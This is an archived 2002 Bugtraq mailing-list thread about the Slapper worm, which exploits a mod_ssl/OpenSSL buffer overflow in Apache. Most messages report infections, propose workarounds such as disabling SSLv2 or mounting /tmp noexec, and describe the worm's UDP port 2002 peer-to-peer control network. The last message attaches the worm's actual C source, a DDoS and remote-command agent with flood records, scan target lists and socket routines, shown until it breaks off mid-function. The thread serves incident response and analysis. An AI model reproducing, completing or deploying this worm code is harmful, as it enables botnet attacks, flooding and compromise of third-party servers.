75550 2002-09-13  19:17  /19 rader/ Fernando Nunes <fmcn@netcabo.pt>
Importerad: 2002-09-13  19:17  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1499>
Ärende: bugtraq.c httpd apache ssl attack
------------------------------------------------------------


I am using RedHat 7.3 with Apache 1.3.23. Someone used the  program
"bugtraq.c" to explore an modSSL buffer overflow to get access to  a
shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles
it  using gcc. The program is started with another computer ip
address as  argument. All computer files that the user "apache" can
read are exposed.  The program attacks the following Linux
distributions:

Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26
SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23
Mandrake: 1.3.14,1.3.19
Slakware: Apache 1.3.26

Regards
Fernando Nunes
Portugal
(75550) /Fernando Nunes <fmcn@netcabo.pt>/(Ombruten)
75551 2002-09-13  20:27  /42 rader/ Dave Ahmad <da@securityfocus.com>
Importerad: 2002-09-13  20:27  av Brevbäraren
Extern mottagare: Ben Laurie <ben@algroup.co.uk>
Mottagare: Bugtraq (import) <1500>
Ärende: Re: OpenSSL worm in the wild
------------------------------------------------------------
Ok,

The incident analysis team over here is examining this thing.  At
first glance it looks reasonably sophisticated.  Looks to me like it
exploits the issue described as BID 5363,
http://online.securityfocus.com/bid/5363.  It seems to pick targets
based on the "Server:" HTTP response field.  Mario Van Velzen
proposed a quick workaround of disabling ServerTokens or setting it
to ProductOnly to turn away at least this version of the exploit
until fixes can be applied.  Another thing to note is that it
communicates with its friends over UDP / port 2002.

I'd like to request IP addresses of hosts that have been compromised
or that are currently attacking systems from anyone who is
comfortable sharing this information.  We wish to run it through TMS
(formerly known as ARIS) to see how quickly it is propagating.

David Ahmad
Symantec
http://www.symantec.com/

On Fri, 13 Sep 2002, Ben Laurie wrote:

> I have now seen a worm for the OpenSSL problems I reported a few weeks
> back in the wild. Anyone who has not patched/upgraded to 0.9.6e+ should
> be _seriously worried_.
>
> It appears to be exclusively targeted at Linux systems, but I wouldn't
> count on variants for other systems not existing.
>
> Cheers,
>
> Ben.
>
> --
> http://www.apache-ssl.org/ben.html       http://www.thebunker.net/
>
> "There is no limit to what a man can do or how far he can go if he
> doesn't mind who gets the credit." - Robert Woodruff
>
>
(75551) /Dave Ahmad <da@securityfocus.com>/(Ombruten)
75552 2002-09-13  20:35  /43 rader/ The Little Prince <thelittleprince@asteroid-b612.org>
Importerad: 2002-09-13  20:35  av Brevbäraren
Extern mottagare: Fernando Nunes <fmcn@netcabo.pt>
Mottagare: Bugtraq (import) <1501>
Ärende: Re: bugtraq.c httpd apache ssl attack
------------------------------------------------------------

too easy to chmod 700 gcc to lock it to root?
obviously not as a TOTAL fix

-Tony
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco                            Network Administrator/Engineer
thelittleprince@asteroid-b612.org              http://www.asteroid-b612.org

             "Every day should be a good day to die"   -DJM
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.

On 13 Sep 2002, Fernando Nunes wrote:

>
>
> I am using RedHat 7.3 with Apache 1.3.23. Someone used the
> program "bugtraq.c" to explore an modSSL buffer overflow to get access to
> a shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles it
> using gcc. The program is started with another computer ip address as
> argument. All computer files that the user "apache" can read are exposed.
> The program attacks the following Linux distributions:
>
> Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26
> SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23
> Mandrake: 1.3.14,1.3.19
> Slakware: Apache 1.3.26
>
> Regards
> Fernando Nunes
> Portugal
>
>

-- 
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
Anthony J. Biacco                            Network Administrator/Engineer
thelittleprince@asteroid-b612.org              http://www.asteroid-b612.org

             "Every day should be a good day to die"   -DJM
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
(75552) /The Little Prince <thelittleprince@asteroid-b612.org>/
75553 2002-09-13  20:48  /18 rader/ Ben Laurie <ben@algroup.co.uk>
Importerad: 2002-09-13  20:48  av Brevbäraren
Extern mottagare: Bugtraq <BUGTRAQ@securityfocus.com>
Extern mottagare: Cryptography <cryptography@wasabisystems.com>
Extern mottagare: cypherpunks <cypherpunks@einstein.ssz.com>
Extern mottagare: Apache SSL <apache-ssl@lists.aldigital.co.uk>
Mottagare: Bugtraq (import) <1502>
Ärende: OpenSSL worm in the wild
------------------------------------------------------------
I have now seen a worm for the OpenSSL problems I reported a few
weeks  back in the wild. Anyone who has not patched/upgraded to
0.9.6e+ should  be _seriously worried_.

It appears to be exclusively targeted at Linux systems, but I wouldn't 
count on variants for other systems not existing.

Cheers,

Ben.

-- 
http://www.apache-ssl.org/ben.html       http://www.thebunker.net/

"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
(75553) /Ben Laurie <ben@algroup.co.uk>/--(Ombruten)
75557 2002-09-13  21:03  /51 rader/  <adamkuj@gatordog.com>
Importerad: 2002-09-13  21:03  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1506>
Ärende: Re: bugtraq.c httpd apache ssl attack
------------------------------------------------------------
Wouldn't it be easier to create a blank /tmp/.bugtraq.c file, chmod
000, owned by root?

On Fri, 13 Sep 2002, The Little Prince wrote:

>
> too easy to chmod 700 gcc to lock it to root?
> obviously not as a TOTAL fix
>
> -Tony
> .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
> Anthony J. Biacco                            Network Administrator/Engineer
> thelittleprince@asteroid-b612.org              http://www.asteroid-b612.org
>
>              "Every day should be a good day to die"   -DJM
> .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
>
> On 13 Sep 2002, Fernando Nunes wrote:
>
> >
> >
> > I am using RedHat 7.3 with Apache 1.3.23. Someone used the
> > program "bugtraq.c" to explore an modSSL buffer overflow to get access to
> > a shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles it
> > using gcc. The program is started with another computer ip address as
> > argument. All computer files that the user "apache" can read are exposed.
> > The program attacks the following Linux distributions:
> >
> > Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26
> > SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23
> > Mandrake: 1.3.14,1.3.19
> > Slakware: Apache 1.3.26
> >
> > Regards
> > Fernando Nunes
> > Portugal
> >
> >
>
> --
> .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
> Anthony J. Biacco                            Network Administrator/Engineer
> thelittleprince@asteroid-b612.org              http://www.asteroid-b612.org
>
>              "Every day should be a good day to die"   -DJM
> .-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
>
>
(75557) / <adamkuj@gatordog.com>/---------(Ombruten)
75562 2002-09-13  21:54  /85 rader/ Sandu Mihai <mihai.sandu@kpnqwest.ro>
Importerad: 2002-09-13  21:54  av Brevbäraren
Extern mottagare: adamkuj@gatordog.com
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1511>
Ärende: RE: bugtraq.c httpd apache ssl attack
------------------------------------------------------------
Usually, a common tactical move is to securely design the system from
the start. A /tmp placed on an independent partition, and mounted
noexec, nosuid along with chattr +a on logs, and  +i on important
directories like /sbin, /bin and the like it is a fair policy.  As
for a quick fix, yes, this will keep away the worm, but not the
hacker.  One can easily tear apart the worm and create a 'remote
shell' trough Apache kind of thing. It is advisable to keep the
systems always in good shape (if possible.. I have seen 'updates'
that broke things trying to fix others, merely the RedHat 7.0 updates
have fallen sometime in this category..) and keep always an open eye
(if time/staff permits).

All my best,
Sandu Mihai - KPNQWest Romania Network Engineer

-----Original Message-----
From: adamkuj@gatordog.com [mailto:adamkuj@gatordog.com]
Sent: 13 septembrie 2002 21:51
To: bugtraq@securityfocus.com
Subject: Re: bugtraq.c httpd apache ssl attack


Wouldn't it be easier to create a blank /tmp/.bugtraq.c file, chmod
000, owned by root?

On Fri, 13 Sep 2002, The Little Prince wrote:

>
> too easy to chmod 700 gcc to lock it to root?
> obviously not as a TOTAL fix
>
> -Tony
>
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
> Anthony J. Biacco                            Network
Administrator/Engineer
> thelittleprince@asteroid-b612.org
http://www.asteroid-b612.org
>
>              "Every day should be a good day to die"   -DJM
>
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
>
> On 13 Sep 2002, Fernando Nunes wrote:
>
> >
> >
> > I am using RedHat 7.3 with Apache 1.3.23. Someone used the
> > program "bugtraq.c" to explore an modSSL buffer overflow to get access
to
> > a shell. The attack creates a file named "/tmp/.bugtraq.c" and compiles
it
> > using gcc. The program is started with another computer ip address as
> > argument. All computer files that the user "apache" can read are
exposed.
> > The program attacks the following Linux distributions:
> >
> > Red-Hat: Apache 1.3.6,1.3.9,1.3.12,1.3.19,1.3.20,1.3.22,1.3.23,1.3.26
> > SuSe: Apache 1.3.12,1.3.17,1.3.19,1.3.20,1.3.23
> > Mandrake: 1.3.14,1.3.19
> > Slakware: Apache 1.3.26
> >
> > Regards
> > Fernando Nunes
> > Portugal
> >
> >
>
> --
>
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
> Anthony J. Biacco                            Network
Administrator/Engineer
> thelittleprince@asteroid-b612.org
http://www.asteroid-b612.org
>
>              "Every day should be a good day to die"   -DJM
>
.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-._.-.
>
>
(75562) /Sandu Mihai <mihai.sandu@kpnqwest.ro>/(Ombruten)
75564 2002-09-13  21:59  /44 rader/ Sandu Mihai <mihai.sandu@kpnqwest.ro>
Importerad: 2002-09-13  21:59  av Brevbäraren
Extern mottagare: Brett Glass <brett@lariat.org>
Extern mottagare: flynn@energyhq.homeip.net
Extern mottagare: Domas Mituzas <domas.mituzas@microlink.lt>
Mottagare: Bugtraq (import) <1512>
Ärende: RE: Apache worm in the wild
------------------------------------------------------------
Begining with 12.09.2002 we have noticed a variant of the Apache Worm
http://dammit.lt/apache-worm/apache-worm.c which now exploits mod_ssl
bug.  The worm can be identified by doing a ps -ax | grep bugtraq (it
has the name .bugtraq :) ).  It is an 'agent' worm (as his parent,
mr. Apache Worm), and can be controlled / instructed to do a UDP
Flood, TCP Flood, DNS Flood, other goodies including command
execution on infected system. The source is found in /tmp/.bugtraq.c
... and the comments are in english now :)

All my best,
Sandu Mihai - KPNQWest Romania Network Engineer


-----Original Message-----
From: Brett Glass [mailto:brett@lariat.org]
Sent: 28 iunie 2002 20:27
To: flynn@energyhq.homeip.net; Domas Mituzas
Cc: freebsd-security@FreeBSD.ORG; bugtraq@securityfocus.com;
os_bsd@konferencijos.lt
Subject: Re: Apache worm in the wild


At 05:38 AM 6/28/2002, flynn@energyhq.homeip.net wrote:

>I wonder how many variants of this kind of thing we'll see, but I assume
most people
>running Apache have upgraded already.

Upgrading Apache may prevent your system from being taken over,
but it doesn't necessarily prevent it from being DoSed. One of
my Apache servers, which had been upgraded to 2.0.39, went berserk
on June 25th, spawning the maximum number of child processes and
then locking up. The server did not appear to have been infiltrated,
but the logs were filled with megabytes of messages indicating that
the child processes were repeatedly trying to free chunks of memory
that were already free. Probably the result of an attempted exploit
going awry. (It could have been aimed at Linux, or at a different
version of Apache; can't tell. But clearly it got somewhere, though
not all the way.)

--Brett
(75564) /Sandu Mihai <mihai.sandu@kpnqwest.ro>/(Ombruten)
75568 2002-09-13  22:45  /19 rader/ Eric Rescorla <ekr@rtfm.com>
Importerad: 2002-09-13  22:45  av Brevbäraren
Extern mottagare: Dave Ahmad <da@securityfocus.com>
Externa svar till: ekr@rtfm.com
Mottagare: Bugtraq (import) <1514>
Ärende: Re: OpenSSL worm in the wild
------------------------------------------------------------
Dave Ahmad <da@securityfocus.com> writes:
> The incident analysis team over here is examining this thing.  At first
> glance it looks reasonably sophisticated.  Looks to me like it exploits
> the issue described as BID 5363, http://online.securityfocus.com/bid/5363.
> It seems to pick targets based on the "Server:" HTTP response field.
> Mario Van Velzen proposed a quick workaround of disabling ServerTokens or
> setting it to ProductOnly to turn away at least this version of the exploit
> until fixes can be applied.
Since this workaround requires changing the configuration file, 
it's equally easy to disable SSLv2 entirely--especially
since one could easily modify the worm to attack all servers
or, perhaps, those which only display Product ID :)

-Ekr

-- 
[Eric Rescorla                                   ekr@rtfm.com]
                http://www.rtfm.com/
(75568) /Eric Rescorla <ekr@rtfm.com>/--------------
75569 2002-09-13  23:17  /31 rader/ Eric Rescorla <ekr@rtfm.com>
Importerad: 2002-09-13  23:17  av Brevbäraren
Extern mottagare: Dave Ahmad <da@securityfocus.com>
Externa svar till: ekr@rtfm.com
Mottagare: Bugtraq (import) <1515>
Ärende: Re: OpenSSL worm in the wild
------------------------------------------------------------
Eric Rescorla <ekr@rtfm.com> writes:
> especially
> since one could easily modify the worm to attack all servers
> or, perhaps, those which only display Product ID :)
... or maybe not.

I hadn't seen a copy of the worm yet, so I guessed from your
description that it was using the Server: value to detect who is
running downrev versions of OpenSSL. Not so.

Upon examination, it looks like the worm uses the server version to
decide what section of memory to overwrite (based on the target OS)
and server version. So, if people reconfiged their servers to not give
you this information, a worm author would either have to have the worm
try all possible exploits (not a big deal with only 20 architectures
to search) or have some other evidence as to what OS/Apache version
people were runnning.

Note that for this to be a 100% countermeasure you'd have to
reconfigure your server not to advertise Apache at all. Otherwise,
it looks to me like the worm assumes that you're running
Red Hat/Apache 1.3.23, in which case there's a real chance
that the worm will crash your server by using the wrong
overwrite offset.

-Ekr

-- 
[Eric Rescorla                                   ekr@rtfm.com]
                http://www.rtfm.com/
(75569) /Eric Rescorla <ekr@rtfm.com>/--------------
75571 2002-09-14  02:02  /111 rader/ Fernando Nunes <fmcn@netcabo.pt>
Importerad: 2002-09-14  02:02  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1517>
Ärende: Re: bugtraq.c httpd apache ssl attack
------------------------------------------------------------
In-Reply-To: <20020913135517.28304.qmail@mail.securityfocus.com>

After the program "/tmp/.bugtraq" starts running, it becomes a member
of a  virtual network. Network members comunicate using UDP port
2002.  The program can, when instructed (using udp port 2002):

- Execute arbitrary commands on the machines
- Route messages to other machines in the virtual network
- Execute Tcp flood attacks
- IPv6 Tcp flood
- Dns flood attacks
- Email scan ("Search in every machine file for emain addresses")
- etc....

In 3 dias, about 1500 diferent IP address tried to contact my machine
at  UDP port 2002. Fortunally i have iptables configured.

Regards Fernando Nunes Portugal N ote: To easily correlate this
attack with others, here is the header of  the "/tmp/.bugtraq.c" file.

/**************************************************************************
**
 
*                                                                          
*
 *           Peer-to-peer UDP Distributed Denial of Service 
(PUD)           *
 *                         by 
contem@efnet                                  *
 
*                                                                          
*
 *         Virtually connects computers via the udp protocol on 
the         *
 *  specified port.  Uses a newly created peer-to-peer protocol 
that        *
 *  incorperates uses on unstable or dead computers.  The program 
is        *
 *  ran with the parameters of another ip on the virtual network.  
If       *
 *  running on the first computer, run with the ip 127.0.0.1 or 
some        *
 *  other type of local address.  
Ex:                                       *
 
*                                                                          
*
 *           Computer A:   ./program 
127.0.0.1                              *
 *           Computer B:   ./program 
Computer_A                             *
 *           Computer C:   ./program 
Computer_A                             *
 *           Computer D:   ./program 
Computer_C                             *
 
*                                                                          
*
 *         Any form of that will work.  The linking process works 
by        *
 *  giving each computer the list of avaliable computers, 
then              *
 *  using a technique called broadcast segmentation combined with 
TCP       *
 *  like functionality to insure that another computer on the 
network       *
 *  receives the broadcast packet, segments it again and 
recreates          *
 *  the packet to send to other hosts.  That technique can be used 
to       *
 *  support over 16 million simutaniously connected 
computers.              *
 
*                                                                          
*
 *         Thanks to ensane and st for donating shells and test 
beds        *
 *  for this program.  And for the admins who removed me because 
I          *
 *  was testing this program (you know who you are) need to 
watch           *
 *  their 
backs.                                                            *
 
*                                                                          
*
 *         I am not responsible for any harm caused by this 
program!        *
 *  I made this program to demonstrate peer-to-peer communication 
and       *
 *  should not be used in real life.  It is an education program 
that       *
 *  should never even be ran at all, nor used in any way, shape 
or          *
 *  form.  It is not the authors fault if it was used for any 
purposes      *
 *  other than 
educational.                                                 *
 
*                                                                          
*
 
***************************************************************************
*/
(75571) /Fernando Nunes <fmcn@netcabo.pt>/(Ombruten)
75675 2002-09-17  20:14  /2438 rader/ KF <dotslash@snosoft.com>
Bilagans filnamn: "bugtraq.c.txt"
Importerad: 2002-09-17  20:14  av Brevbäraren
Extern mottagare: John Scimone <sert@snosoft.com>
Mottagare: Bugtraq (import) <1527>
Bilaga (text/plain) till text 75674
Ärende: Bilaga (bugtraq.c.txt) till: Re:  Linux Slapper Worm code
------------------------------------------------------------
/****************************************************************************
 *                                                                          *
 *           Peer-to-peer UDP Distributed Denial of Service (PUD)           *
 *                         by contem@efnet                                  *
 *                                                                          *
 *         Virtually connects computers via the udp protocol on the         *
 *  specified port.  Uses a newly created peer-to-peer protocol that        *
 *  incorperates uses on unstable or dead computers.  The program is        *
 *  ran with the parameters of another ip on the virtual network.  If       *
 *  running on the first computer, run with the ip 127.0.0.1 or some        *
 *  other type of local address.  Ex:                                       *
 *                                                                          *
 *           Computer A:   ./program 127.0.0.1                              *
 *           Computer B:   ./program Computer_A                             *
 *           Computer C:   ./program Computer_A                             *
 *           Computer D:   ./program Computer_C                             *
 *                                                                          *
 *         Any form of that will work.  The linking process works by        *
 *  giving each computer the list of avaliable computers, then              *
 *  using a technique called broadcast segmentation combined with TCP       *
 *  like functionality to insure that another computer on the network       *
 *  receives the broadcast packet, segments it again and recreates          *
 *  the packet to send to other hosts.  That technique can be used to       *
 *  support over 16 million simutaniously connected computers.              *
 *                                                                          *
 *         Thanks to ensane and st for donating shells and test beds        *
 *  for this program.  And for the admins who removed me because I          *
 *  was testing this program (you know who you are) need to watch           *
 *  their backs.                                                            *
 *                                                                          *
 *         I am not responsible for any harm caused by this program!        *
 *  I made this program to demonstrate peer-to-peer communication and       *
 *  should not be used in real life.  It is an education program that       *
 *  should never even be ran at all, nor used in any way, shape or          *
 *  form.  It is not the authors fault if it was used for any purposes      *
 *  other than educational.                                                 *
 *                                                                          *
 ****************************************************************************/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <sys/wait.h>
#include <signal.h>

#define SCAN
#undef LARGE_NET
#undef FREEBSD

#define BROADCASTS	2
#define LINKS		128
#define CLIENTS		128
#define PORT		2002
#define SCANPORT	80
#define SCANTIMEOUT	5
#define MAXPATH		4096
#define ESCANPORT	10100
#define VERSION		12092002

//////////////////////////////////////////////////////////////////////////////////////
//                                  Macros                                          //
//////////////////////////////////////////////////////////////////////////////////////

#define FREE(x) {if (x) { free(x);x=NULL; }}

enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 }; enum {
ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING,
AINSTANCE, AUNKNOWN }; enum { AREAD=1, AWRITE=2, AEXCEPT=4 };

//////////////////////////////////////////////////////////////////////////////////////
//                                  Packet headers                                  //
//////////////////////////////////////////////////////////////////////////////////////

struct llheader {
	char type;
	unsigned long checksum;
	unsigned long id;
};
struct header {
	char tag;
	int id;
	unsigned long len;
	unsigned long seq;
};
struct route_rec {
	struct header h;
	char sync;
	unsigned char hops;
	unsigned long server;
	unsigned long links;
};
struct kill_rec {
	struct header h;
};
struct sh_rec {
	struct header h;
};
struct list_rec {
	struct header h;
};
struct udp_rec {
	struct header h;
	unsigned long size;
	unsigned long target;
	unsigned short port;
	unsigned long secs;
};
struct tcp_rec {
	struct header h;
	unsigned long target;
	unsigned short port;
	unsigned long secs;
};
struct tcp6_rec {
	struct header h;
	unsigned long target[4];
	unsigned short port;
	unsigned long secs;
};
struct gen_rec {
	struct header h;
	unsigned long target;
	unsigned short port;
	unsigned long secs;
};
struct df_rec {
	struct header h;
	unsigned long target;
	unsigned long secs;
};
struct add_rec {
	struct header h;
	unsigned long server;
	unsigned long socks;
	unsigned long bind;
	unsigned short port;
};
struct data_rec {
	struct header h;
};
struct addsrv_rec {
	struct header h;
};
struct initsrv_rec {
	struct header h;
};
struct qmyip_rec {
	struct header h;
};
struct myip_rec {
	struct header h;
	unsigned long ip;
};
struct escan_rec {
	struct header h;
	unsigned long ip;
};
struct getinfo_rec {
	struct header h;
	unsigned long time;
	unsigned long mtime;
};
struct info_rec {
	struct header h;
	unsigned char a;
	unsigned char b;
	unsigned char c;
	unsigned char d;
	unsigned long ip;
	unsigned long uptime;
	unsigned long reqtime;
	unsigned long reqmtime;
	unsigned long in;
	unsigned long out;
	unsigned long version;
};

//////////////////////////////////////////////////////////////////////////////////////
//                             Public variables                                     //
//////////////////////////////////////////////////////////////////////////////////////

struct ainst {
	void *ext,*ext5;
	int ext2,ext3,ext4;

	int sock,error;
	unsigned long len;
	struct sockaddr_in in;
};
struct ainst clients[CLIENTS*2];
struct ainst udpclient;
unsigned int sseed=0;
struct route_table {
	int id;
	unsigned long ip;
	unsigned short port;
} routes[LINKS];
unsigned long numlinks, *links=NULL, myip=0;
unsigned long sequence[LINKS], rsa[LINKS];
unsigned int *pids=NULL;
unsigned long numpids=0;
unsigned long uptime=0, in=0, out=0;
unsigned long synctime=0;
int syncmodes=1;

struct mqueue {
	char *packet;
	unsigned long len;
	unsigned long id;
	unsigned long time;
	unsigned long ltime;
	unsigned long destination;
	unsigned short port;
	unsigned char trys;
	struct mqueue *next;
} *queues=NULL;

#ifdef SCAN
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
	46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
	139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
	168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
	198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
	230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
#endif

//////////////////////////////////////////////////////////////////////////////////////
//                               Public routines                                    //
//////////////////////////////////////////////////////////////////////////////////////

unsigned long gettimeout() {
	return 36+(numlinks/15);
}

void syncmode(int mode) {
	syncmodes=mode;
}

void gsrand(unsigned long s) {
	sseed=s;
}
unsigned long grand() {
	sseed=((sseed*965764979)%65535)/2;
	return sseed;
}

void nas(int a) {
}

int mfork() {
	unsigned int parent, *newpids, i;
	parent=fork();
	if (parent <= 0) return parent;
	numpids++;
	newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
	if (newpids == NULL) return parent;
	for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
	newpids[numpids-1]=parent;
	FREE(pids);
	pids=newpids;
	return parent;
}

char *aerror(struct ainst *inst) {
	if (inst == NULL) return "Invalid instance or socket";
	switch(inst->error) {
		case ASUCCESS:return "Operation Success";
		case ARESOLVE:return "Unable to resolve";
		case ACONNECT:return "Unable to connect";
		case ASOCKET:return "Unable to create socket";
		case ABIND:return "Unable to bind socket";
		case AINUSE:return "Port is in use";
		case APENDING:return "Operation pending";
		case AUNKNOWN:default:return "Unknown";
	}
	return "";
}

int aresolve(char *host) {
 	struct hostent *hp;
	if (inet_addr(host) == 0 || inet_addr(host) == -1) {
		unsigned long a;
		if ((hp = gethostbyname(host)) == NULL) return 0;
		bcopy((char*)hp->h_addr, (char*)&a, hp->h_length);
		return a;
	}
	else return inet_addr(host);
}

int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
	struct sockaddr_in in;
	if (inst == NULL) return (AINSTANCE);
	if (inst->sock == 0) {
		inst->error=AINSTANCE;
		return (AINSTANCE);
	}
	inst->len=0;
	in.sin_family = AF_INET;
	if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
	else in.sin_addr.s_addr = ip;
	in.sin_port = htons(port);
	if (bind(inst->sock, (struct sockaddr *)&in, sizeof(in)) < 0) {
		inst->error=ABIND;
		return (ABIND);
	}
	inst->error=ASUCCESS;
	return ASUCCESS;
}

int await(struct ainst **inst,unsigned long len,char type,long secs) {
	struct timeval tm,*tmp;
	fd_set read,write,except,*readp,*writep,*exceptp;
	int p,ret,max;
	if (inst == NULL) return (AINSTANCE);
	for (p=0;p<len;p++) inst[p]->len=0;
	if (secs > 0) {
		tm.tv_sec=secs;
		tm.tv_usec=0;
		tmp=&tm;
	}
	else tmp=(struct timeval *)NULL;
	if (type & AREAD) {
		FD_ZERO(&read);
		for (p=0;p<len;p++) FD_SET(inst[p]->sock,&read);
		readp=&read;
	}
	else readp=(struct fd_set*)0;
	if (type & AWRITE) {
		FD_ZERO(&write);
		for (p=0;p<len;p++) FD_SET(inst[p]->sock,&write);
		writep=&write;
	}
	else writep=(struct fd_set*)0;
	if (type & AEXCEPT) {
		FD_ZERO(&except);
		for (p=0;p<len;p++) FD_SET(inst[p]->sock,&except);
		exceptp=&except;
	}
	else exceptp=(struct fd_set*)0;
	for (p=0,max=0;p<len;p++) if (inst[p]->sock > max) max=inst[p]->sock;
	if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
		for (p=0;p<len;p++) inst[p]->error=APENDING;
		return (APENDING);
	}
	if (ret == -1) return (AUNKNOWN);
	for (p=0;p<len;p++) {
		if (type & AREAD) if (FD_ISSET(inst[p]->sock,&read)) inst[p]->len+=AREAD;
		if (type & AWRITE) if (FD_ISSET(inst[p]->sock,&write)) inst[p]->len+=AWRITE;
		if (type & AEXCEPT) if (FD_ISSET(inst[p]->sock,&except)) inst[p]->len+=AEXCEPT;
	}
	for (p=0;p<len;p++) inst[p]->error=ASUCCESS;
	return (ASUCCESS);
}

int atcp_sync_check(struct ainst *inst) {
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	errno=0;
	if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
		inst->error=ASUCCESS;
		return (ASUCCESS);
	}
	if (!(errno == EINPROGRESS ||errno == EALREADY)) {
		inst->error=ACONNECT;
		return (ACONNECT);
	}
	inst->error=APENDING;
	return (APENDING);
}

int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
	int flag=1;
 	struct hostent *hp;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		inst->error=ASOCKET;
		return (ASOCKET);
	}
	if (inet_addr(host) == 0 || inet_addr(host) == -1) {
		if ((hp = gethostbyname(host)) == NULL) {
			inst->error=ARESOLVE;
			return (ARESOLVE);
		}
		bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
	}
	else inst->in.sin_addr.s_addr=inet_addr(host);
	inst->in.sin_family = AF_INET;
	inst->in.sin_port = htons(port);
	flag = fcntl(inst->sock, F_GETFL, 0);
	flag |= O_NONBLOCK;
	fcntl(inst->sock, F_SETFL, flag);
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
	int flag=1;
	unsigned long start;
 	struct hostent *hp;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if ((inst->sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		inst->error=ASOCKET;
		return (ASOCKET);
	}
	if (inet_addr(host) == 0 || inet_addr(host) == -1) {
		if ((hp = gethostbyname(host)) == NULL) {
			inst->error=ARESOLVE;
			return (ARESOLVE);
		}
		bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
	}
	else inst->in.sin_addr.s_addr=inet_addr(host);
	inst->in.sin_family = AF_INET;
	inst->in.sin_port = htons(port);
	flag = fcntl(inst->sock, F_GETFL, 0);
	flag |= O_NONBLOCK;
	fcntl(inst->sock, F_SETFL, flag);
	start=time(NULL);
	while(time(NULL)-start < 10) {
		errno=0;
		if (connect(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) == 0 || errno == EISCONN) {
			inst->error=ASUCCESS;
			return (ASUCCESS);
		}
		if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
		sleep(1);
	}
	inst->error=ACONNECT;
	return (ACONNECT);
}

int atcp_accept(struct ainst *inst,struct ainst *child) {
	int sock;
	unsigned int datalen;
